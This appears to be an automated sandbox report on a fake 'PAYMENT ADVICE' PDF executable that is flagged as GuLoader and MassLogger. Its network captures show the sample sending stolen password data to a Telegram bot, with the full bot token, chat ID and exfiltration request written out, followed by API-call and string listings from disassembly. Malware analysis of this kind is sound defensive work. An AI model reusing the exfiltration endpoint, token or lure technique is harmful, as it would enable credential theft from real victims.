2024-12-17 07:44:09 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 31 34 37 31 37 66 39 62 35 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd214717f9b5d8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:44:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:44:09 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:44:09 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 34 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13702,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421449,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49910	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:44:12 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd21a75f8a832e Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:44:12 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 31 61 37 35 66 38 61 38 33 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd21a75f8a832eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:44:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:44:13 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:44:13 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13703,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421453,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49918	149.154.167.220	443	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:44:16 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd223092f2d6dc Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-17 07:44:16 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 32 33 30 39 32 66 32 64 36 64 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd223092f2d6dcContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-17 07:44:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 07:44:16 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-17 07:44:16 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 34 32 31 34 35 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":13704,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734421456,"document":{"file_n

Target ID:	0
Start time:	02:42:11
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"
Imagebase:	0x400000
File size:	471'469 bytes
MD5 hash:	34DCD76E7A002A5F19D9842A70BA5C87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000000.00000002.2032752399.0000000002900000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2032752399.00000000034A1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:42:46
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"
Imagebase:	0x400000
File size:	471'469 bytes
MD5 hash:	34DCD76E7A002A5F19D9842A70BA5C87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.2933469686.00000000016C0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	20.8%
Total number of Nodes:	1517
Total number of Limit Nodes:	47

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

SeShutdownPrivilege, xrefs: 0040374D
UXTHEME, xrefs: 004032E7
Error launching installer, xrefs: 004035AD
.tmp, xrefs: 0040363F
"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe", xrefs: 00403356, 0040335C, 00403553
~nsu, xrefs: 00403623
NSIS Error, xrefs: 00403341
TMP, xrefs: 00403512
Low, xrefs: 004034F8
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004035D3
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D
TEMP, xrefs: 0040350A
\Temp, xrefs: 004034DC
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
1033, xrefs: 00403526
USERENV, xrefs: 004032F1
SETUPAPI, xrefs: 004032FB
C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe, xrefs: 004036D6
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-1468879437
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
M, xrefs: 00404CDA
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
